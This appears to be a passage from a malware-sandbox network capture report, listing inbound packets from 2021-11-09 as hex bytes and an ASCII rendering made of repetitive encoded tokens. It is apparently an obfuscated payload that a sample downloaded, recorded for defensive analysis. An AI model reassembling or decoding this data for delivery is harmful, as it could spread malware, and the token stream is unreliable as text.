59 59 20 6b 4b 20 4f 4f 52 20 4f 6f 74 20 4f 74 51 20 4f 4f 74 20 6f 78 20 45 6b 20 59 52 20 6f 45 6f 20 6b 4b 20 4f 4f 52 20 51 59 20 4f Data Ascii: OOo OK OOO OOo Yx Yo KQ kQ QK OOY OOt Oxt Ooo oER YE ox Eo QK Oto OOt Oxt Qx Yx Kk YO Ek kK OOK OOt OxQ OOo Yx RE RO YK kO OoY OOt OxQ OOE KO x Kk YK RR OOK OOt OxQ Oxk Yx Kk EY Yo Kt OOo OOt OxQ OOR KQ QY Ek YY kK OOR Oot OtQ OOt ox Ek YR oEo kK OOR QY O
2021-11-09 21:21:48 UTC	37	IN	Data Raw: 20 59 78 20 59 4b 20 52 51 20 51 51 20 4f 4f 74 20 4f 78 4b 20 4f 6f 74 20 59 78 20 4b 6b 20 59 4f 20 4f 6f 20 6b 52 20 4f 78 4f 20 6f 52 20 45 52 20 4f 4f 6f 20 59 78 20 59 4b 20 4b 6b 20 45 78 20 4f 51 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 78 20 59 78 20 45 59 20 6f 20 59 6f 20 6b 4b 20 59 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 74 20 51 4b 20 4b 51 20 4f 4f 4f 20 4f 4f 20 4b 6b 20 4b 6b 20 59 78 20 59 78 20 4f 6f 78 20 74 6b 20 4f 4f 51 20 6f 6f 20 4f 4f 4b 20 59 78 20 4b 6b 20 59 4b 20 52 74 20 6f 4f 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 45 4f 20 59 4f 20 6f 78 20 6f 51 20 6b 4f 20 6f 51 20 6f 45 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 78 20 74 45 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 Data Ascii: Yx YK RQ QQ OOt OxK Oot Yx Kk YO Oo kR OxO oR ER OOo Yx YK Kk Ex OQY OOK OOt OxE Qx Yx EY o Yo kK Yk OOt OxQ OOo Yx Kk Yx YK kt QK KQ OOO OO Kk Kk Yx Yx Oox tk OOQ oo OOK Yx Kk YK Rt oOY OOK OOt Oxk kY EO YO ox oQ kO oQ oEt OxQ OOo YR Yx tE Yo kK OOK OOE
2021-11-09 21:21:48 UTC	38	IN	Data Raw: 6b 6f 20 51 4b 20 4f 59 52 20 4f 78 78 20 51 51 20 59 59 20 45 4b 20 59 59 20 52 51 20 6f 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 4b 45 20 4b 51 20 59 78 20 4b 6b 20 74 78 20 4f 4f 51 20 51 74 20 52 51 20 4f 6b 45 20 59 4f 20 4b 6b 20 59 6f 20 52 51 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 59 6f 20 45 4b 20 59 59 20 52 6b 20 4f 6b 6f 20 4f 4f 74 20 4f 4f 74 20 6f 51 20 6b 6b 20 4f 4b 4f 20 4b 51 20 59 78 20 4b 6b 20 4f 6f 74 20 4f 78 52 20 4f 4f 59 20 6f 20 52 4b 20 59 78 20 4b 6b 20 59 6f 20 6f 74 20 6b 6f 20 4f 20 6f 4f 45 20 4f 78 51 20 4f 4f 6f 20 59 52 20 74 4b 20 4f 6b 20 6f 6f 6f 20 6b 74 20 4f 4f 4b 20 4f 4f 74 20 52 51 20 6f 45 51 20 59 78 20 4b 6b 20 59 52 20 4b 6b 20 52 51 20 4f 4f 51 20 4f 78 45 20 4f 78 74 Data Ascii: ko QK OYR Oxx QQ YY EK YY RQ oOR OOY OOt Oxt kk OKE KQ Yx Kk tx OOQ Qt RQ OkE YO Kk Yo RQ OQK OOK OOt OxE QQ Yo EK YY Rk Oko OOt OOt oQ kk OKO KQ Yx Kk Oot OxR OOY o RK Yx Kk Yo ot ko O oOE OxQ OOo YR tK Ok ooo kt OOK OOt RQ oEQ Yx Kk YR Kk RQ OOQ OxE Oxt
2021-11-09 21:21:48 UTC	40	IN	Data Raw: 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 74 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 4b 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 78 20 45 52 20 6f 78 4b 20 4b 6b 20 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 4f 4f 78 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 20 4f 78 51 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 6f 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 74 20 45 52 20 6f 78 4b 20 4b 6b 20 59 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 Data Ascii: Yo OKR oE Kt RK OKx OOY YK OOo Yx YK RY OkE kK OOK OOY oxt kY Kx ER oxK Kk k OOK OOt Oxt E OtQ Kk Yx Kk oKR kt OOx OoO OKo Yo OxQ Yx YK ko O oKK OxQ OOo Yo OKR oE Ko RK OKx OOY Yx OOo Yx YK RY OkE kK OOK OOY oxt kY Kt ER oxK Kk Yo OOK OOt Oxt E OtQ Kk Yx
2021-11-09 21:21:48 UTC	41	IN	Data Raw: 20 4b 6b 20 4f 4f 45 20 4f 20 6f 4f 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 51 45 20 59 59 20 6b 4b 20 4f 4f 52 20 6b 78 20 45 78 20 4f 78 59 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 45 59 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 6b 59 20 52 59 20 52 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 6f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 4f 20 52 59 20 4f 59 6b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 6f 59 4f 20 59 4f 20 4b 6b 20 59 6f 20 4f 51 20 45 51 20 6f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 74 51 20 59 4f 20 59 4b 20 6b 6f 20 6b 74 20 52 20 4f 51 52 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 74 74 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 6f 20 45 20 4f 59 4b 20 4b 6b 20 59 78 20 52 78 20 59 51 20 6f 59 4f 20 4f 4f 52 20 4f 78 51 20 4f Data Ascii: Kk OOE O oOx OxQ OOo YR QY QE YY kK OOR kx Ex OxY Yx Kk YR kQ EY OOY OOt Oxt kY RY R Yx YK QK oQ Oo Oxk OOo Yo oO RY OYk kK OOK Oot o oYO YO Kk Yo OQ EQ oOk OOt OxQ Ooo QE tQ YO YK ko kt R OQR OOo Yx Yk QE tt kY OOK OOY to E OYK Kk Yx Rx YQ oYO OOR OxQ O
2021-11-09 21:21:48 UTC	42	IN	Data Raw: 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 4f 59 20 4b 51 20 59 78 20 59 4b 20 6f 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 74 20 59 78 20 4b 6b 20 59 78 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6b 20 52 4b 20 4b 51 20 4b 6b 20 6b 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 4f 4f 6f 20 45 59 20 4b 74 20 4b 52 20 45 78 20 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6f 20 74 4b 20 59 52 20 59 78 20 74 78 20 4f 6f 4b 20 74 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 59 52 20 59 4b 20 6f 52 20 4f 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 59 20 74 78 20 59 6f 20 52 74 20 6b 52 20 59 4b 20 6b 4b 20 4f 6f 78 20 51 45 20 4f 51 6f 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 4f 4f 52 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f Data Ascii: kK OOK OOt OxQ OOo OOY KQ Yx YK oo OOY OOt OxQ OOt Yx Kk Yx Yt kK OOK OOR OOk RK KQ Kk kx YK kK OOK kY OxQ OOo EY Kt KR Ex R OOK OOt OxE o tK YR Yx tx OoK tY OOt OxQ Ooo YR YK oR OYK kK OOK Oot RY tx Yo Rt kR YK kK Oox QE OQo OOo Yx Yk oR OOR kK OOK Oot O
2021-11-09 21:21:48 UTC	44	IN	Data Raw: 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 4f 45 52 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 78 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 4b 20 4f 45 52 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 4b 59 20 4f 78 52 20 4f 4f 45 20 59 78 20 59 6f 20 74 52 20 4b 51 20 6b 59 20 4f 4f 4b 20 4f 4f 45 20 6f 6f 20 6f 78 45 20 59 78 20 4b 6b 20 59 52 20 74 6f 20 6b 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 59 20 4f 4b 20 59 6f 20 4b 51 20 59 78 20 59 78 20 4f 6f 4f 20 52 52 20 51 51 20 45 4f 20 6f 45 78 20 59 6b 20 4b 6b 20 52 52 20 45 4b 20 4f 45 6f 20 4f 6f 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 4f 45 52 20 59 78 20 59 4b 20 51 4b 20 4f 78 4f 20 6f 4b 6b 20 6f 6f 4b 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 52 52 20 4f 78 6f 20 51 45 20 6f 78 51 20 4f 4f 6f Data Ascii: t OxQ OOK oR OER Yx YK QK Qx oxK OxQ OOo YR oK OER YK kK Oox oKY OxR OOE Yx Yo tR KQ kY OOK OOE oo oxE Yx Kk YR to kE OOY OOt OxY OK Yo KQ Yx Yx OoO RR QQ EO oEx Yk Kk RR EK OEo OoR OOt OxQ OOK oR OER Yx YK QK OxO oKk ooK OOo Yx KQ oE Eo RR Oxo QE oxQ OOo
2021-11-09 21:21:48 UTC	45	IN	Data Raw: 20 4b 6b 20 4f 4f 52 20 59 4b 20 74 6f 20 4f 52 20 4f 4f 74 20 51 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 6b 52 20 51 78 20 4f 74 4f 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 51 20 59 4b 20 6b 4b 20 4f 4f 52 20 6b 78 20 4f 4f 74 20 52 74 20 59 6b 20 59 78 20 4b 51 20 59 78 20 4f 6f 4b 20 4b 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 4b 45 20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 78 20 6f 4b 20 4f 6b 6f 20 4b 6b 20 45 78 20 4f 6b 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 4f 20 4f 4b 20 4b 6b 20 59 78 20 4b 6b 20 4f 4f 45 20 4f 78 52 20 74 78 20 4f 78 4f 20 4f 4f 4b 20 4b 51 20 59 6f 20 6f 52 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 4f 52 20 52 74 20 59 6f 20 52 74 20 4f 59 45 20 59 4b 20 Data Ascii: Kk OOR YK to OR OOt QQ OOo Yx Kk Yx OtR kR Qx OtO OxQ OOo Yo QY Q YK kK OOR kx OOt Rt Yk Yx KQ Yx OoK KE OOt OxQ OOk KE E Yo RQ oYY OOK OOt OxE Ox oK Oko Kk Ex OkE OOK OOt Oxt EO OK Kk Yx Kk OOE OxR tx OxO OOK KQ Yo oR Oxk kK OOK OOY OOR Rt Yo Rt OYE YK
2021-11-09 21:21:48 UTC	46	IN	Data Raw: 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 6b 51 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 45 20 4b 78 20 4f 20 52 6f 20 6b 52 20 4f 4f 45 20 4f 4f 45 20 52 51 20 4f 74 20 59 78 20 4b 6b 20 59 6f 20 4b 74 20 4f 78 45 20 4f 4f 52 20 52 20 4f 51 6b 20 4f 4f 6f 20 59 78 20 59 6b 20 74 6f 20 6f 6b 20 6f 4b 6f 20 4f 4f 45 20 6f 52 20 59 52 20 4f 4f 45 20 59 78 20 59 4b 20 45 78 20 6f 6f 20 6b 52 20 51 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 4f 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 6b 78 20 4f 4f 74 20 52 74 20 59 6b 20 59 78 20 4b 51 20 59 78 20 4f 6f 4b 20 4f 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 4b 45 20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 78 20 6f 4b 20 4b Data Ascii: OOt Oxt kk OkQ Kk Yx Kk YQ Kk OOt OxQ OOk oE Kx O Ro kR OOE OOE RQ Ot Yx Kk Yo Kt OxE OOR R OQk OOo Yx Yk to ok oKo OOE oR YR OOE Yx YK Ex oo kR Qx OoK OxQ OOo Yo QY OO YK kK OOR kx OOt Rt Yk Yx KQ Yx OoK OR OOt OxQ OOk KE E Yo RQ oYY OOK OOt OxE Ox oK K
2021-11-09 21:21:48 UTC	48	IN	Data Raw: 4f 78 51 20 4f 4f 6b 20 59 52 20 4b 74 20 52 4f 20 4f 6b 74 20 51 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 59 20 45 52 20 45 52 20 6f 78 4b 20 4b 6b 20 45 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 51 6b 20 4f 6f 4f 20 4f 4b 6f 20 59 6f 20 52 74 20 59 78 20 59 4b 20 6b 6f 20 4f 20 6f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4f 4b 52 20 6f 45 20 4b 52 20 52 4b 20 4f 4b 78 20 4f 4f 59 20 6f 59 20 4f 4f 6f 20 59 78 20 59 4b 20 52 59 20 4f 6b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 78 74 20 6b 59 20 4b 45 20 45 52 20 6f 78 4b 20 4b 6b 20 45 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 20 4f 74 51 20 4b 6b 20 59 78 20 4b 6b 20 6f 4b 52 20 6b 74 20 4f 4f 4f 20 4f 6f 4f 20 4f 4b 6f 20 59 6f Data Ascii: OxQ OOk YR Kt RO Okt Qx OOK OOt OOO kY ER ER oxK Kk Ek OOK OOt Oxt E OtQ Kk Yx Kk oKR kt Qk OoO OKo Yo Rt Yx YK ko O oKK OxQ OOo Yo OKR oE KR RK OKx OOY oY OOo Yx YK RY OkE kK OOK OOY oxt kY KE ER oxK Kk EE OOK OOt Oxt E OtQ Kk Yx Kk oKR kt OOO OoO OKo Yo
2021-11-09 21:21:48 UTC	49	IN	Data Raw: 59 45 20 59 78 20 59 78 20 4b 6b 20 45 51 20 6f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 45 6f 20 59 78 20 59 4b 20 4f 6f 74 20 51 78 20 4f 78 78 20 4f 78 51 20 4f 4f 6f 20 6f 59 20 6f 4b 20 4f 6b 52 20 59 4b 20 6b 4b 20 4f 4f 52 20 51 59 20 74 59 20 4f 4f 59 20 59 4b 20 59 45 20 6f 52 20 51 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 74 4f 20 4f 4f 6f 20 59 78 20 4b 45 20 6f 20 59 78 20 6b 4b 20 6b 74 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 4b 59 20 4b 6b 20 59 78 20 45 51 20 6b 78 20 4f 20 6f 4b 51 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 4f 20 52 59 20 4f 4b 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 45 4f 20 59 4f 20 4b 6b 20 59 6f 20 4f 51 20 45 51 20 4f 78 74 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 74 4f 20 59 4f 20 59 4b 20 6b 6f 20 Data Ascii: YE Yx Yx Kk EQ oOY OOt OxQ Ooo oR Eo Yx YK Oot Qx Oxx OxQ OOo oY oK OkR YK kK OOR QY tY OOY YK YE oR QY kK OOK OOY tO OOo Yx KE o Yx kK kt OOR OxQ OOo KY Kk Yx EQ kx O oKQ Oxk OOo Yo oO RY OKY kK OOK Oot o EO YO Kk Yo OQ EQ Oxt OOt OxQ Ooo QE tO YO YK ko
2021-11-09 21:21:48 UTC	50	IN	Data Raw: 4b 20 74 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4b 6b 20 59 78 20 4f 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 4b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 4b 52 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 74 51 20 52 52 20 4f 4f 6b 20 4f 78 51 20 4f 6b 20 59 78 20 4b 6b 20 59 78 20 6f 6f 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4b 20 4f 78 6b 20 6f 52 20 51 6b 20 59 78 20 59 4b 20 51 4b 20 78 20 4f 45 20 4f 78 4f 20 4f 4f 6f 20 52 52 20 6f 4b 20 4f 4f 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 6f 74 20 4f 78 74 20 6b 6b 20 4f 59 6b 20 4b 6b 20 59 78 20 52 78 20 4f 6f 78 20 52 6b 20 4f 4f 59 Data Ascii: K tE OOY OOt OxQ OOE Yx Kk Yx Ok kK OOK OOR OxQ OOo Yx Kk Yx YK kK OOK OxK Oxk OOo Yx KR YO YK kK OOQ OOt OxQ OOo RO Kk Yx YY tQ RR OOk OxQ Ok Yx Kk Yx oo kK OOK Oxx OOK Oxk oR Qk Yx YK QK x OE OxO OOo RR oK OO YK kK Oox Oot Oxt kk OYk Kk Yx Rx Oox Rk OOY
2021-11-09 21:21:48 UTC	52	IN	Data Raw: 59 78 20 59 4b 20 6b 59 20 51 78 20 6f 78 59 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6f 4b 20 52 45 20 59 4b 20 6b 4b 20 4f 4f 6f 20 51 45 20 6f 4f 45 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 4f 4b 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 6f 78 6f 20 59 78 20 4b 6b 20 59 52 20 4f 6b 6f 20 51 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 59 20 4f 4b 20 59 52 20 4b 51 20 59 78 20 59 78 20 4b 74 20 6f 78 4f 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 52 20 59 6b 20 59 4f 20 59 4b 20 6b 78 20 4f 6f 20 4f 6f 4b 20 4f 78 6b 20 4f 4f 6f 20 59 4b 20 6f 51 20 6f 20 45 6f 20 45 6b 20 6f 6f 6b 20 4f 6f 59 20 4f 78 51 20 78 20 45 6b 20 6f 6f 4b 20 52 45 20 59 4b 20 6b 4b 20 4f 4f 6f 20 51 45 20 6f 4f 45 20 4f 4f 6f 20 59 78 20 59 6b 20 45 74 20 4f 6b 74 20 6f 4f 74 20 4f Data Ascii: Yx YK kY Qx oxY OxQ OOo YR ooK RE YK kK OOo QE oOE OOo Yx Yk oR OKE kK OOK Oot RQ oxo Yx Kk YR Oko QK OOY OOt OxY OK YR KQ Yx Yx Kt oxO OOt OxQ Ooo tR Yk YO YK kx Oo OoK Oxk OOo YK oQ o Eo Ek ook OoY OxQ x Ek ooK RE YK kK OOo QE oOE OOo Yx Yk Et Okt oOt O
2021-11-09 21:21:48 UTC	53	IN	Data Raw: 4b 20 4f 6f 45 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 4f 52 20 59 78 20 4f 6f 4b 20 6f 78 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 52 20 6f 45 6b 20 59 78 20 59 4b 20 6b 6f 20 6f 51 20 4f 4b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 52 20 4f 4f 52 20 59 78 20 4f 6f 4b 20 6f 78 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 52 20 6f 4f 4f 20 59 78 20 59 4b 20 6b 6f 20 6f 51 20 4b 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 6f 52 20 52 6b 20 59 78 20 4f 6f 4b 20 6f 78 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 52 20 6f 78 51 20 59 78 20 59 4b 20 6b 6f 20 6b 74 20 6b 6b 20 4f 78 59 20 6b 52 20 45 6b 20 6f 74 20 59 59 20 45 78 20 74 78 20 4f 4f 4b 20 4f 4f 74 20 74 78 20 45 4f 20 51 59 20 4b 51 20 59 78 20 4b 6b 20 4f 6f 52 20 59 6f 20 4f 4f 45 20 52 51 20 Data Ascii: K OoE OxQ OOo Yx Kk OOR Yx OoK oxR OOR OxQ OOk oR oEk Yx YK ko oQ OK Oxk OOo Yo oR OOR Yx OoK oxR OOR OxQ OOk oR oOO Yx YK ko oQ K Oxk OOo Yo oR Rk Yx OoK oxR OOR OxQ OOk oR oxQ Yx YK ko kt kk OxY kR Ek ot YY Ex tx OOK OOt tx EO QY KQ Yx Kk OoR Yo OOE RQ
2021-11-09 21:21:48 UTC	57	IN	Data Raw: 52 20 4f 45 6b 20 4f 4f 4b 20 4f 78 78 20 4f 78 52 20 4f 78 45 20 4f 78 52 20 45 59 20 59 45 20 45 51 20 6b 45 20 51 51 20 4f 4f 59 20 6f 6f 74 20 6f 59 20 78 20 4f 4b 52 20 6f 45 52 20 59 45 20 4f 4f 4b 20 4f 74 6f 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 52 20 51 45 20 52 78 20 59 78 20 59 4b 20 51 4b 20 74 6f 20 4b 4f 20 4f 4b 52 20 4f 4b 45 20 6f 78 59 20 6f 45 6b 20 52 6f 20 45 51 20 6b 78 20 51 4b 20 4f 4f 4b 20 4f 6f 4b 20 4f 4f 52 20 51 45 20 59 51 20 59 78 20 59 4b 20 51 4b 20 4f 74 4b 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52 20 4b 6b 20 59 6b 20 45 45 20 4f 6f 20 4f 6f 52 20 4f 6f 59 20 4f 78 52 20 6f 59 4b 20 51 4f 20 4f 59 20 6f 78 20 6f 78 4f 20 4f 74 4f 20 4f 4b 4f 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52 20 4b 6b 20 59 6f 20 6f 6b 20 6b 59 Data Ascii: R OEk OOK Oxx OxR OxE OxR EY YE EQ kE QQ OOY oot oY x OKR oER YE OOK Oto OOt OoK OOR QE Rx Yx YK QK to KO OKR OKE oxY oEk Ro EQ kx QK OOK OoK OOR QE YQ Yx YK QK OtK OtO OOx kR oER Kk Yk EE Oo OoR OoY OxR oYK QO OY ox oxO OtO OKO OtO OOx kR oER Kk Yo ok kY
2021-11-09 21:21:48 UTC	61	IN	Data Raw: 20 6f 6f 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 45 20 6f 52 20 4f 6f 20 4f 6b 6f 20 59 78 20 59 4b 20 6b 4b 20 51 51 20 4f 78 78 20 6f 20 4f 52 52 20 59 78 20 4b 6b 20 59 52 20 45 51 20 51 6f 20 52 52 20 4f 4b 20 4f 78 52 20 6b 78 20 59 78 20 4b 6b 20 4f 6b 20 59 45 20 52 6f 20 51 45 20 74 20 4f 6f 4b 20 51 74 20 51 45 20 4f 51 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 51 20 4f 51 4f 20 4f 4f 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 78 6f 20 4b 6f 20 4f 6b 51 20 4f 78 4b 20 59 4b 20 6b 4b 20 4f 4f 59 20 6b 78 20 4f 6f 45 20 4f 4f 4f 20 6b 20 4f 74 45 20 6f 45 20 45 45 20 74 59 20 4b 52 20 6f 45 6f 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 4f 4b 6b 20 52 74 20 6f 51 20 59 51 20 4f 78 51 20 4f Data Ascii: ooK kK OOK Oot OoE oR Oo Oko Yx YK kK QQ Oxx o ORR Yx Kk YR EQ Qo RR OK OxR kx Yx Kk Ok YE Ro QE t OoK Qt QE OQ Yx YK QK oQ kO OxQ OOo YR EQ OQO OOx kK OOK OOR to Oxo Ko OkQ OxK YK kK OOY kx OoE OOO k OtE oE EE tY KR oEo Ex to Yx Kk YR OKk Rt oQ YQ OxQ O
2021-11-09 21:21:48 UTC	65	IN	Data Raw: 20 4f 4f 74 20 4f 78 45 20 6f 4f 78 20 6f 52 20 6f 4f 52 20 59 78 20 59 4b 20 6b 6f 20 6f 51 20 4f 52 6b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 59 20 51 45 20 6f 6f 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 51 74 20 74 6f 20 4f 74 59 20 4b 6b 20 59 78 20 59 4b 20 74 78 20 4f 4f 6f 20 51 45 20 74 52 20 4f 4f 6f 20 59 78 20 59 6b 20 52 45 20 52 45 20 45 51 20 6b 78 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 4f 51 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6b 4f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 4b 74 20 4b 78 20 45 78 20 52 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6f 20 4f 74 51 20 59 78 20 59 78 20 74 78 20 4f 6f 4b 20 6b 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 78 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 Data Ascii: OOt OxE oOx oR oOR Yx YK ko oQ ORk OxQ OOo YR YY QE oo kK OOK Oot Qt to OtY Kk Yx YK tx OOo QE tR OOo Yx Yk RE RE EQ kx OOt OxQ Ooo oR OQ Yx YK QK oQ kO OxQ OOo YR Kt Kx Ex R OOK OOt OxE o OtQ Yx Yx tx OoK kQ OOt OxQ Ooo tR KR Yx YK QK oQ OxR OxQ OOo YR
2021-11-09 21:21:48 UTC	69	IN	Data Raw: 4f 4f 51 20 51 45 20 59 51 20 59 78 20 59 4b 20 51 4b 20 4f 74 4b 20 4f 74 4f 20 4f 4f 78 20 6b 52 20 6f 45 52 20 4b 6b 20 59 6f 20 6f 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4b 4b 20 4f 6f 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 45 4f 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 4f 59 52 20 59 78 20 59 4b 20 6b 4b 20 74 52 20 4f 4f 51 20 4f 78 51 20 4f 4f 6f 20 52 6f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 45 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 4b 4b 20 4f 4f 45 20 59 78 20 4b 6b 20 4f 6f 52 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 4b 6b Data Ascii: OOQ QE YQ Yx YK QK OtK OtO OOx kR oER Kk Yo ok kK OOK OOt KK Oo Yx Kk Kk YK kK OOK oEO Oxk OOo Yx OYR Yx YK kK tR OOQ OxQ OOo Ro Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx OEE kK OOK OOt oKK OOE Yx Kk OoR Yo kK OOK OOk OxQ OOo Yx Yk Yx YK kY OOo OOt OxQ OOo OKk
